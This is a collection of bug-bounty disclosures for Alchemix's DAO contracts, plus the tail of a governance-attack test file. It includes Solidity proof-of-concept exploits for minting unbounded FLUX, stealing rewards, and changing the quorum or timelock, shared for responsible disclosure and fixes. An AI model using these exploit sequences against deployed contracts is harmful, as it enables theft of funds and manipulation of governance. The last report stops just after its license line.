    function testAlteringTheQuorum() public {
        createVeAlcx(admin, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef, 5e22, MAXTIME, false);
        createVeAlcx(dead, 15_000e18, MAXTIME, false);

        hevm.warp(block.timestamp + 50);

        // The first proposal which couldn't be passed due to not reaching the quorum

        hevm.startPrank(dead);

        (address[] memory t1, uint256[] memory v1, bytes[] memory c1, string memory d1) = craftTestProposal();
        uint256 pid1 = governor.propose(t1, v1, c1, d1, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(dead);
        governor.castVote(pid1, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // execute
        hevm.startPrank(admin);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();

        // The second proposal which aims to change the acceptance quorum

        hevm.startPrank(beef);
        uint256 previousQuorum = governor.quorumNumerator();
        console2.log("Previous Quorum: ", previousQuorum);

        (address[] memory t2, uint256[] memory v2, bytes[] memory c2, string memory d2) = craftUpdateQuorumProposal();
        uint pid2 = governor.propose(t2, v2, c2, d2, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(beef);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.startPrank(dead);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period

        // execute
        hevm.startPrank(beef);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t2, v2, c2, keccak256(bytes(d2)), MAINNET);
        hevm.stopPrank();

        uint currentQuorum = governor.quorumNumerator();

        console2.log("Current Quorum: ", currentQuorum);

        // Finally, the first proposal which didn't executed at first, now it is executed successfully!

        hevm.startPrank(dead);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();
    }

    function testChangingTheTimelockContractAttack() public {
        createVeAlcx(admin, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef, 5e22, MAXTIME, false);
        createVeAlcx(dead, 15_000e18, MAXTIME, false);

        hevm.warp(block.timestamp + 50);
        console2.log("Previous Timelock: ", address(timelockExecutor));

        // The first proposal which aims to update the timelock contract
        // which couldn't be passed due to not reaching the quorum

        hevm.startPrank(dead);

        (address[] memory t1, uint256[] memory v1, bytes[] memory c1, string memory d1) = craftChangeTimelockProposal();
        uint256 pid1 = governor.propose(t1, v1, c1, d1, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(dead);
        governor.castVote(pid1, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // execute
        hevm.startPrank(admin);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();

        // The second proposal which aims to change the acceptance quorum

        hevm.startPrank(beef);
        uint256 previousQuorum = governor.quorumNumerator();
        console2.log("Previous Quorum: ", previousQuorum);

        (address[] memory t2, uint256[] memory v2, bytes[] memory c2, string memory d2) = craftUpdateQuorumProposal();
        uint pid2 = governor.propose(t2, v2, c2, d2, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(beef);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.startPrank(dead);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period

        // execution of the last proposal
        hevm.startPrank(beef);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t2, v2, c2, keccak256(bytes(d2)), MAINNET);
        hevm.stopPrank();

        uint currentQuorum = governor.quorumNumerator();
        console2.log("Current Quorum:  ", currentQuorum);

        // The attacker now executes the proposal
        hevm.startPrank(dead);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();

        console2.log("Current Timelock:  ", governor.timelock()); // The timelock contract updated
    }

    function testCancellingProposalsAttack() public {
        createVeAlcx(admin, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef, 5e22, MAXTIME, false);
        createVeAlcx(dead, 15_000e18, MAXTIME, false);

        hevm.warp(block.timestamp + 50);

        // The first proposal which is an important proposal which admin proposes

        hevm.startPrank(admin);
        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
        uint256 pid = governor.propose(t, v, c, d, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(admin);
        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // The attacker proposes a proposal aiming to cancel the aforementioned proposal

        hevm.startPrank(dead);

        (address[] memory t1, uint256[] memory v1, bytes[] memory c1, string memory d1) = 
            craftCancellingProposal(t, v, c, d, MAINNET);
        uint256 pid1 = governor.propose(t1, v1, c1, d1, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(dead);
        governor.castVote(pid1, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // execute
        hevm.startPrank(admin);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();

        // The last proposal which aims to change the acceptance quorum

        hevm.startPrank(beef);
        uint256 previousQuorum = governor.quorumNumerator();
        console2.log("Previous Quorum: ", previousQuorum);

        (address[] memory t2, uint256[] memory v2, bytes[] memory c2, string memory d2) = craftUpdateQuorumProposal();
        uint pid2 = governor.propose(t2, v2, c2, d2, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(beef);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.startPrank(dead);
        governor.castVote(pid2, 1);
        hevm.stopPrank();

        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period

        // execution of the last proposal
        hevm.startPrank(beef);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t2, v2, c2, keccak256(bytes(d2)), MAINNET);
        hevm.stopPrank();

        uint currentQuorum = governor.quorumNumerator();
        console2.log("Current Quorum:  ", currentQuorum);

        // execution of the attacker's proposal which cancels the admin's proposal
        hevm.startPrank(dead);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        governor.execute(t1, v1, c1, keccak256(bytes(d1)), MAINNET);
        hevm.stopPrank();

        uint proposalStatus = uint(governor.state(pid));
        console2.log("Proposal Status is: ", proposalStatus); // The initial proposal is cancelled
    }
```


# 30788 - \[SC - Critical] User can increase their unclaimed Flux token wi...

Submitted on May 6th 2024 at 01:39:08 UTC by @jecikpo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30788

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* unbounded minting of token
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

A user can increase their unclaimed Flux token amount by calling `Voter.poke()` multiple times.

## Vulnerability Details

The `Voter._vote()` function calls `FluxToken.accrueFlux(_tokenId)` which increases the `unclaimed[_tokenId]` balance according the `_tokenId` voting power. `_vote()` is called by `vote()` which has the `onlyNewEpoch(_tokenId)` modifier attached, so it can be called only once during each epoch.

The `_vote()` is also used inside `poke()`. `poke()` is supposed to vote based on the users previous voting weights. however `poke()` does not have the above mentioned modifier attached, hence it can be called multiple times during the epoch without any limits. Each time `poke()` is called the unclaimed FLUX is increased.

## Impact Details

The impact is that the user can accrue potentially unlimited amount of unclaimed Flux. The unclaimed Flux could be used to execute unfair voting by increasing the user's voting power. It could also be claimed and sold on the open market to suppress the Flux price which will allow other users to unlock their veALCX tokens at lower prices hence destroying the entire voting system credibility.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195>

## Proof of Concept

Add to the `VotingEscrow.t.sol` the following code:

```solidity
function testAbusePoke() public {
        hevm.startPrank(admin);

        uint256 tokenIdLarge = veALCX.createLock(TOKEN_100K, THREE_WEEKS, false);
        //uint256 tokenIdSmall = veALCX.createLock(TOKEN_1, THREE_WEEKS, false);


        voter.reset(tokenIdLarge);
        console.log("Unclaimed Flux on tokenIdLarge: %d", flux.unclaimedFlux(tokenIdLarge));
        voter.poke(tokenIdLarge);
        // we can see that the user amassed more unclaimed FLUX: 9420478183663114723056
        console.log("Unclaimed Flux on tokenIdLarge after poke called once: %d", flux.unclaimedFlux(tokenIdLarge));

        // even more after calling poke() again: 14130717275494672084584
        voter.poke(tokenIdLarge);
        console.log("Unclaimed Flux on tokenIdLarge after poke called twice: %d", flux.unclaimedFlux(tokenIdLarge));

        // and again: 18840956367326229446112
        voter.poke(tokenIdLarge);
        console.log("Unclaimed Flux on tokenIdLarge after poke called thrid time: %d", flux.unclaimedFlux(tokenIdLarge));

        hevm.stopPrank();
    }
```


# 30800 - \[SC - Critical] Stealing FLUX by claiming then merging position...

Submitted on May 6th 2024 at 11:30:27 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30800

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
* Protocol insolvency
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

Attackers can claim more FLUX than accrued.

## Vulnerability Details

The attack vector is easy to understand.

**ATTACK VECTOR**

1- The attacker creates 2 (or more) locks in the *VotingEscrow*.

> For the sake of simplicity let's imagine he only created 2. We'll refer to the ids of the NFTs minted as `tokenId1` and `tokenId1`

2- Move forward in time to the next epoch.

3- The attacker calls `Voter.reset(tokenId1)` and accrues rewards for his token with id `tokenId1` based on the balance of BPT he deposited when minting the NFT.

4- The attacker claims the FLUX accrued by calling `flux.claimFlux(tokenId1, amount)`

5- The attacker merges the balance inside `tokenId1` with the balance inside `tokenId2` by calling `veALCX.merge(tokenId1, tokenId2);`

6- Now that his second NFT (`tokenId2`) has the double of BPT balance inside, he calls `Voter.reset(tokenId2)` and accrues rewards for his token with id `tokenId2`.

7- The attacker now claims the inflated FLUX accrued in `tokenId2` by calling `flux.claimFlux(tokenId2, inflated_amount)`

Here's a sequence diagram:

> After creating both locks the attacker must wait until the next epoch to proceed, we omitted the "wait" step in this diagram for simplicity.

```
 ┌────────┐                                      ┌──────┐┌─────┐┌────┐
 │Attacker│                                      │veALCX││Voter││FLUX│
 └───┬────┘                                      └──┬───┘└──┬──┘└─┬──┘
     │                                              │       │     │   
     │             createLock tokenId1              │       │     │   
     │─────────────────────────────────────────────>│       │     │   
     │                                              │       │     │   
     │             createLock tokenId2              │       │     │   
     │─────────────────────────────────────────────>│       │     │   
     │                                              │       │     │   
     │       reset tokenId1 + accrue tokenId1's FLUX│       │     │   
     │─────────────────────────────────────────────────────>│     │   
     │                                              │       │     │   
     │merge the BPT balance of tokenId1 and tokenId2│       │     │   
     │─────────────────────────────────────────────>│       │     │   
     │                                              │       │     │   
     │       reset tokenId2 + accrue tokenId2's FLUX│       │     │   
     │─────────────────────────────────────────────────────>│     │   
     │                                              │       │     │   
     │                       claim all FLUX         │       │     │   
     │───────────────────────────────────────────────────────────>│   
 ┌───┴────┐                                      ┌──┴───┐┌──┴──┐┌─┴──┐
 │Attacker│                                      │veALCX││Voter││FLUX│
 └────────┘                                      └──────┘└─────┘└────┘

```

If instead of doing it with 2 tokens, it is done with 3, after the last step the attacker can merge `tokenId2` with `tokenId3`, reset 3, and claim even more FLUX (a value relative to the full balance of `tokenId1` + the balance of `tokenId2` + the balance of `tokenId3`).

## Recommendation

When merging the balance of `tokenId1` into `tokenId2`, make sure to claim all `tokenId2`'s rewards if we are in a new epoch, before increasing the internal balance of `tokenId2`.

## Impact Details

FLUX can be used to boost the voting power of an NFT holder or as an ERC20 token that can be traded in the open market.

The consequences of gaming the system to claim more FLUX than accrued are:

* Protocol insolvency.
* Manipulation of governance voting.
* Direct theft of funds.

## Proof of Concept

Remember to run the code with the correct block number (the one used in your tests: 17133822)

We run the test executing:

```
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-test testFluxAccrualAndMerge --fork-block-number 17133822 -vv
```

> Replace {API\_KEY} with your API key.

To test how much FLUX the user should have accrued, add a comment to the "`veALCX.merge(tokenId1, tokenId2);`"

The code for the test:

```

    function testFluxAccrualAndMerge() public {

        address user = address(0x0123);

        uint256 tokenId1 = createVeAlcx(user, TOKEN_1, MAXTIME, true);
        uint256 tokenId2 = createVeAlcx(user, TOKEN_1, MAXTIME, true);

        hevm.startPrank(user);

        voter.reset(tokenId1);
        voter.reset(tokenId2);

        hevm.warp(newEpoch());
        voter.distribute();

        console2.log("balance of token1", veALCX.balanceOfTokenAt(tokenId1, block.timestamp));
        console2.log("balance of token2", veALCX.balanceOfTokenAt(tokenId2, block.timestamp));

        voter.reset(tokenId1);

        flux.claimFlux(tokenId1, flux.getUnclaimedFlux(tokenId1));

        veALCX.merge(tokenId1, tokenId2);

        voter.reset(tokenId2);

        flux.claimFlux(tokenId2, flux.getUnclaimedFlux(tokenId2));
        
        console2.log("balance of flux", flux.balanceOf(user));

        hevm.stopPrank();

    }

```


# 30814 - \[SC - Critical] Wrong calculation of boost amount in Voterpoke

Submitted on May 6th 2024 at 16:29:36 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30814

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

The Voter.poke function votes again with the same weights, effectively renewing the previous vote. However, the boost value reflected in the previous weights will not be taken into account when the poke function is called. The boost is always 0.

## Vulnerability Details

```
/// @inheritdoc IVoter
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

`// Previous boost will be taken into account with weights being pulled from the votes mapping` Will the calculation be done like this explanation? The answer is `No`.

```
_weights[i] = votes[_tokenId][_poolVote[i]];
```

This only reflects the previous weight and does not reproduce the previous boost.

## Recommendation

In order to reproduce the boost in the Poke function, it is recommended to record the previous boost amount.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract BugPokePoC is BaseTest {

    function setUp() public {
        setupContracts(block.timestamp);
    }

    function testBugPokeBoost() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushi pool
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        uint256 fluxAccessable = veALCX.claimableFlux(tokenId) + flux.getUnclaimedFlux(tokenId);


        // Vote with the max boost amount
        hevm.prank(admin);
        voter.vote(tokenId, pools, weights, fluxAccessable / 2);


        // Used weight should be greater when boosting with unused flux
        assertGt(voter.usedWeights(tokenId), veALCX.balanceOfToken(tokenId), "should be greater when boosting");


        // Reach the end of the epoch
        hevm.warp(block.timestamp + nextEpoch);

        // Vote with the max boost amount
        hevm.prank(admin);
        voter.poke(tokenId);


        // If the code is correct, used weight should be greater in calling poke function.
        // But in this poke, the boost is not calculated. That is 0.
        assertEq(voter.usedWeights(tokenId), veALCX.balanceOfToken(tokenId), "if this is failed, that means the code is correct");
    }
}
```


# 30818 - \[SC - Low] division before multiplication in theamountToRa...

Submitted on May 6th 2024 at 19:37:35 UTC by @zeroK for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30818

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

when call made to the `startCooldown` function the `amountToRagequit` is called when the user want to withdraw before the end time reached, this function return the claimable amount flux for the user tokenId and the totalEpochs which is the total epochs in year multiplied by the fluxMultiplier, however the totalEpochs is not correct, because we do division before multiplication, this lead to return less ragequitAmount than the expected value.

## Vulnerability Details

the `amountToRagequit` is implemented as below:

```solidity

function amountToRagequit(uint256 _tokenId) public view returns (uint256) {
        // amount of flux earned in one epoch
        uint256 oneEpochFlux = claimableFlux(_tokenId);

        // total amount of epochs in fluxMultiplier amount of years
        uint256 totalEpochs = fluxMultiplier * ((MAXTIME) / EPOCH); //@audit we div before mul

        // based on one epoch, calculate total amount of flux over fluxMultiplier amount of years
        uint256 ragequitAmount = oneEpochFlux * totalEpochs;

        return ragequitAmount;
    }
```

the `totalEpochs` is not correct because we say maxtime / epoch then \* fluxMultiplier , in math, the amount and actions inside brackets is executed before any other actions and this cause rounding error in solidity which cause return less amount than expected(this is good for any malicious users who want to exist with less amount to burn)

## Impact Details

division before multiplication cause rounding error/

## Recommend

do multiplication before division.

## Proof of Concept

run the contract below in remix to show the difference between the value, one of them `MulandDiv` return 730 and the `divandMul` return 728.

```solidity
pragma solidity ^0.8.19;

 contract testDivAndMul {

    uint256 public week = 2 weeks; 
    uint256 public max_time = 365 weeks;

     uint256 public fluxMultiplier = 4 ;// 4x as mentioned

    function divandMul() public view returns(uint) {
        return fluxMultiplier * ((max_time) / week);
    } 

    function MulandDiv() public view returns(uint) {
        return (fluxMultiplier * max_time) / week;
    } 

    
}
```


# 30825 - \[SC - Critical] Users can get unlimited amounts of Flux tokens

Submitted on May 6th 2024 at 21:36:36 UTC by @imsrybr0 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30825

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

Users can get unlimited amounts of Flux tokens.

## Vulnerability Details

```solidity
// ...
contract VotingEscrow is IERC721, IERC721Metadata, IVotes, IVotingEscrow {
    // ...
    function merge(uint256 _from, uint256 _to) external {
        require(!voted[_from], "voting in progress for token");
        // ...
        IFluxToken(FLUX).mergeFlux(_from, _to);
        // ...
    }
    // ...
}
```

```solidity
// ...
contract FluxToken is ERC20("Flux", "FLUX"), IFluxToken {
    // ...
    function mergeFlux(uint256 _fromTokenId, uint256 _toTokenId) external {
        require(msg.sender == veALCX, "not veALCX");

        unclaimedFlux[_toTokenId] += unclaimedFlux[_fromTokenId];
        unclaimedFlux[_fromTokenId] = 0;
    }
    // ...
}
```

```solidity
// ...
contract Voter is IVoter {
    // ...
    function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        lastVoted[_tokenId] = block.timestamp;
        _reset(_tokenId);
        IVotingEscrow(veALCX).abstain(_tokenId);
        IFluxToken(FLUX).accrueFlux(_tokenId);
    }
    // ...
}
```

* The `VotingEscrow@merge` function only checks if the token being merged voted `yes`. It also merges the unclaimed Flux earnings of the merge tokens.
* The `Voter@reset` function :
  * Doesn't check if the given token id has any votes to reset before doing so.
  * Votes `no` on the `VotingEscrow`
  * Accrues Flux earning for the given token id

Under those conditions, a user can :

1. Start by locking an amount of tokens in `VotingEscrow` and get `Token ID N` in return
2. Call `Voter@reset` for `Token ID N` to accrue Flux earning for that token.
3. Lock a dust amount of tokens in `VotingEscrow` and get `Token ID M` in return
4. Call `VotingEscrow@merge` to merge `Token ID N` into `Token ID M` which will add the first token unclaimed Flux earning to the second one.

Steps 2), 3) and 4) can be repeated as needed carrying over unclaimed Flux earnings from the previous token to the next one and accruing them again.

## Impact Details

* Artificially boost voting power for gauges voting.
* Claim Flux ERC20 tokens to :
  * Sell them
  * Use them to ragequit for free

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L618-L651>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L183-L192>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L180-L185>

## Proof of Concept

```solidity
    function testMergeFlux() public {
        uint256 previousTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
        console2.log("Starting Unclaimed Flux", flux.unclaimedFlux(previousTokenId));

        uint256 nextTokenId;

        vm.startPrank(admin);
        voter.reset(previousTokenId);

        console2.log("Unclaimed Flux after reset", flux.unclaimedFlux(previousTokenId));

        for (uint256 i; i < 10; i++) {
            nextTokenId = createVeAlcx(admin, 1, MAXTIME, true);

            veALCX.merge(previousTokenId, nextTokenId);

            voter.reset(nextTokenId);

            previousTokenId = nextTokenId;
        }

        console2.log("Unclaimed Flux after 10 iterations", flux.unclaimedFlux(nextTokenId));

        flux.claimFlux(nextTokenId, flux.unclaimedFlux(nextTokenId));

        console2.log("Flux ERC20 balance", flux.balanceOf(admin));
    }
```

## Results

```console
[⠒] Compiling...
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testMergeFlux() (gas: 9703837)
Logs:
  Starting Unclaimed Flux 0
  Unclaimed Flux after reset 984526667926843455
  Unclaimed Flux after 10 iterations 10829793347195278005
  Flux ERC20 balance 10829793347195278005

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 32.92s (24.57s CPU time)

Ran 1 test suite in 34.78s (32.92s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 30826 - \[SC - High] ALCK rewards are lost when merging tokens becau...

Submitted on May 6th 2024 at 22:25:53 UTC by @Jonnes for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30826

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

ALCK rewards are lost when merging tokens because the rewards are not claimed before burning the token.

## Vulnerability Details

Merging or withdrawing tokens require burning the token. When merging tokens, unclaimed rewards must be claimed before burning the token. This prevents users from losing their rewards when the tokens are burnt. This isn't the case however as unclaimed rewards are not claimed before burning the token. This makes the user's unclaimed ALCX rewards to become lost and unclaimable when the tokens are burnt.

```
        _checkpoint(_from, _locked0, LockedBalance(0, 0, false, 0));
        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);

```

In contrast to the merge function, the withdraw function first claims all unclaimed rewards before burning the token. This prevents users from losing their rewards when the tokens are burnt.

```
        // Claim any unclaimed ALCX rewards and FLUX
        IRewardsDistributor(distributor).claim(_tokenId, false);
        IFluxToken(FLUX).claimFlux(_tokenId, IFluxToken(FLUX).getUnclaimedFlux(_tokenId));

        // Burn the token
        _burn(_tokenId, value);
```

Hence, users will lose their ALCX rewards when merging tokens because the ALCX rewards are not claimed before burning the token. This leads to a permanent freezing of unclaimed rewards as the ALCX rewards are lost and unclaimable.

## Impact Details

Permanent freezing of unclaimed rewards

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L649>

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L767C1-L772C32>

## Proof of Concept

The following test can be added to VotingEscrow\.t.sol to show the described scenario.

```
    function testMergeTokens() public {
        uint256 tokenId1 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(beef, TOKEN_100K, MAXTIME / 2, false);
        uint256 tokenId3 = createVeAlcx(beef, TOKEN_100K, MAXTIME / 2, false);

        hevm.startPrank(beef);

        uint256 lockEnd1 = veALCX.lockEnd(tokenId1);

        assertEq(lockEnd1, ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK);
        assertEq(veALCX.lockedAmount(tokenId1), TOKEN_1);

        // Vote to trigger flux accrual
        hevm.warp(newEpoch());

        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        voter.vote(tokenId1, pools, weights, 0);
        voter.vote(tokenId2, pools, weights, 0);

        voter.distribute();

        hevm.warp(newEpoch());

        // Reset to allow merging of tokens
        voter.reset(tokenId1);
        voter.reset(tokenId2);

        uint256 unclaimedFluxBefore1 = flux.getUnclaimedFlux(tokenId1);
        uint256 unclaimedFluxBefore2 = flux.getUnclaimedFlux(tokenId2);

        uint256 unclaimedALCX1 = distributor.claimable(tokenId1);
        // There are unclaimed ALCX rewards
        assertGt(unclaimedALCX1, 0);

        // merging the two tokens.
        veALCX.merge(tokenId1, tokenId2);

        uint256 unclaimedALCXAfter1 = distributor.claimable(tokenId1);

        // These rewards are lost forever.
        assertGt(unclaimedALCXAfter1, 0);

        uint256 unclaimedFluxAfter1 = flux.getUnclaimedFlux(tokenId1);
        uint256 unclaimedFluxAfter2 = flux.getUnclaimedFlux(tokenId2);

        // After merge unclaimed flux should consolidate into one token
        assertEq(unclaimedFluxAfter2, unclaimedFluxBefore1 + unclaimedFluxBefore2, "unclaimed flux not consolidated");
        assertEq(unclaimedFluxAfter1, 0, "incorrect unclaimed flux");
        assertGt(unclaimedFluxAfter2, 0);
        // Merged token should take longer of the two lock end dates
        assertEq(veALCX.lockEnd(tokenId2), lockEnd1);

        // Merged token should have sum of both token locked amounts
        assertEq(veALCX.lockedAmount(tokenId2), TOKEN_1 + TOKEN_100K);

        // The token is burnt and the unclaimed ALCX rewards are lost.
        assertEq(veALCX.ownerOf(tokenId1), address(0));

        hevm.stopPrank();
    }
```


# 30860 - \[SC - Critical] Wrong timestamp for totalVoting

Submitted on May 7th 2024 at 04:17:29 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30860

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Theft of unclaimed yield
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

The attacker can change `totalVoting` at the first second of a new epoch and steal all reward for an epoch.

## Vulnerability Details

```
    /// @inheritdoc IBribe
    function earned(address token, uint256 tokenId) public view returns (uint256) {
        ...
        Checkpoint memory cp = checkpoints[tokenId][_endIndex];
        uint256 _lastEpochStart = _bribeStart(cp.timestamp);
        uint256 _lastEpochEnd = _lastEpochStart + DURATION;
        uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes;

        // Prevent divide by zero
        if (_priorSupply == 0) {
            _priorSupply = 1;
        }

        if (block.timestamp > _lastEpochEnd) {
            reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;
        }

        return reward;
    }
```

If an attacker call `Voter.distribute` at `_lastEpochStart + DURATION`, then `Bribe.resetVoting` function is triggered and `totalVoting` is updated to `0`. And then if the attacker call `Voter.vote` function the same params (or tokenId with less votingPower), then `Bribe._writeVotingCheckpoint` is triggered and `votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes` is updated with the new votes. And the attacker claim the reward at the next block before other users claim. The smaller the new vote amount, the more rewards the attacker can steal.

## Impact Details

The attacker can steal reward and other users can't claim the reward.

## Recommandation

Bribe.sol: 268 line

```
uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes;
```

to

```
uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd) - 1].votes;
```

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
